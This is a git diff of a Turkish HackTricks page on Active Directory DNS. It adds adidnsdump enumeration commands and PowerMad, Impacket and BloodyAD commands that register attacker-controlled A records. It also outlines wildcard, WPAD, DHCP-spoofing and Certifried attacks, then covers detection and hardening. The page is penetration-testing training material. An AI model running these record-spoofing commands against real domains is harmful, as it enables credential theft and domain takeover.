diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md index b75089ac2..3762e8fa6 100644 --- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/src/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -2,17 +2,78 @@ {{#include ../../banners/hacktricks-training.md}} -Varsayılan olarak **herhangi bir kullanıcı** Active Directory'de **tüm DNS kayıtlarını** Alan veya Orman DNS alanlarında **listeleyebilir**, bu bir alan transferine benzer (kullanıcılar, bir AD ortamında bir DNS alanının alt nesnelerini listeleyebilir). +Varsayılan olarak **herhangi bir kullanıcı** Active Directory'de **tüm DNS kayıtlarını** Domain veya Orman DNS alanlarında **listeleyebilir**, bu bir alan transferine benzer (kullanıcılar, bir AD ortamında bir DNS alanının alt nesnelerini listeleyebilir). -Araç [**adidnsdump**](https://github.com/dirkjanm/adidnsdump), iç ağların keşif amaçları için alan içindeki **tüm DNS kayıtlarının** **listelemesini** ve **dışa aktarılmasını** sağlar. +Araç [**adidnsdump**](https://github.com/dirkjanm/adidnsdump), iç ağların keşif amaçları için alandaki **tüm DNS kayıtlarının** **listelemesini** ve **dışa aktarılmasını** sağlar. ```bash git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install . +# Enumerate the default zone and resolve the "hidden" records adidnsdump -u domain_name\\username ldap://10.10.10.10 -r + +# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones + +# Dump a specific zone (e.g. ForestDnsZones) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r + cat records.csv ``` +> adidnsdump v1.4.0 (Nisan 2025) JSON/Greppable (`--json`) çıktısı, çoklu iş parçacığı DNS çözümü ve LDAPS'ye bağlanırken TLS 1.2/1.3 desteği ekler. + Daha fazla bilgi için [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/) +--- + +## Kayıt Oluşturma / Değiştirme (ADIDNS sahteciliği) + +**Authenticated Users** grubunun varsayılan olarak alan DACL'sinde **Create Child** yetkisi olduğundan, herhangi bir etki alanı hesabı (veya bilgisayar hesabı) ek kayıtlar kaydedebilir. Bu, trafik kaçırma, NTLM relay zorlaması veya hatta tam etki alanı ele geçirme için kullanılabilir. + +### PowerMad / Invoke-DNSUpdate (PowerShell) +```powershell +Import-Module .\Powermad.ps1 + +# Add A record evil.domain.local → attacker IP +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose + +# Delete it when done +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose +``` +### Impacket – dnsupdate.py (Python) +```bash +# add/replace an A record via secure dynamic-update +python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37 +``` +*(dnsupdate.py, Impacket ≥0.12.0 ile birlikte gelir)* + +### BloodyAD +```bash +bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37 +``` +--- + +## Yaygın saldırı ilkelere + +1. **Wildcard kaydı** – `*.` AD DNS sunucusunu LLMNR/NBNS sahteciliğine benzer şekilde kurumsal çapta bir yanıtlayıcıya dönüştürür. NTLM hash'lerini yakalamak veya LDAP/SMB'ye iletmek için kötüye kullanılabilir. (WINS araması devre dışı bırakılmalıdır.) +2. **WPAD kaçırma** – `wpad` (veya Global-Query-Block-List'i atlamak için bir saldırgan ana bilgisayara işaret eden bir **NS** kaydı) ekleyin ve kimlik bilgilerini toplamak için dışa çıkan HTTP isteklerini şeffaf bir şekilde proxy'leyin. Microsoft, wildcard/DNAME atlamalarını (CVE-2018-8320) yamanladı ancak **NS-kayıtları hala çalışıyor**. +3. **Eski giriş ele geçirme** – daha önce bir iş istasyonuna ait olan IP adresini talep edin ve ilişkili DNS girişi hala çözümlenecektir, bu da kaynak tabanlı kısıtlı delegasyon veya Shadow-Credentials saldırılarına DNS'e dokunmadan olanak tanır. +4. **DHCP → DNS sahteciliği** – varsayılan bir Windows DHCP+DNS dağıtımında, aynı alt ağda kimlik doğrulaması yapılmamış bir saldırgan, dinamik DNS güncellemelerini tetikleyen sahte DHCP istekleri göndererek mevcut herhangi bir A kaydını (Domain Controller'lar dahil) üzerine yazabilir (Akamai “DDSpoof”, 2023). Bu, Kerberos/LDAP üzerinde makine-arasında bir konum sağlar ve tam alan ele geçirmeye yol açabilir. +5. **Certifried (CVE-2022-26923)** – kontrol ettiğiniz bir makine hesabının `dNSHostName` değerini değiştirin, eşleşen bir A kaydı kaydedin, ardından bu isim için bir sertifika talep edin ve DC'yi taklit edin. **Certipy** veya **BloodyAD** gibi araçlar akışı tamamen otomatikleştirir. + +--- + +## Tespit ve güçlendirme + +* Hassas alanlarda **Kimlik Doğrulanmış Kullanıcılar**'a *Tüm çocuk nesneleri oluşturma* hakkını reddedin ve dinamik güncellemeleri DHCP tarafından kullanılan özel bir hesaba devredin. +* Dinamik güncellemeler gerekiyorsa, alanı **Sadece Güvenli** olarak ayarlayın ve yalnızca sahip bilgisayar nesnesinin kendi kaydını üzerine yazabilmesi için DHCP'de **İsim Koruması**'nı etkinleştirin. +* DNS Sunucusu olay kimliklerini 257/252 (dinamik güncelleme), 770 (alan transferi) ve `CN=MicrosoftDNS,DC=DomainDnsZones`'a LDAP yazmalarını izleyin. +* Tehlikeli isimleri (`wpad`, `isatap`, `*`) kasıtlı olarak zararsız bir kayıt veya Global Sorgu Engelleme Listesi aracılığıyla engelleyin. +* DNS sunucularını güncel tutun – örneğin, RCE hataları CVE-2024-26224 ve CVE-2024-26231 **CVSS 9.8**'e ulaştı ve Domain Controller'lara karşı uzaktan istismar edilebilir. + +## Referanslar + +* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, hala wildcard/WPAD saldırıları için de-facto referans) +* Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Aralık 2023) {{#include ../../banners/hacktricks-training.md}}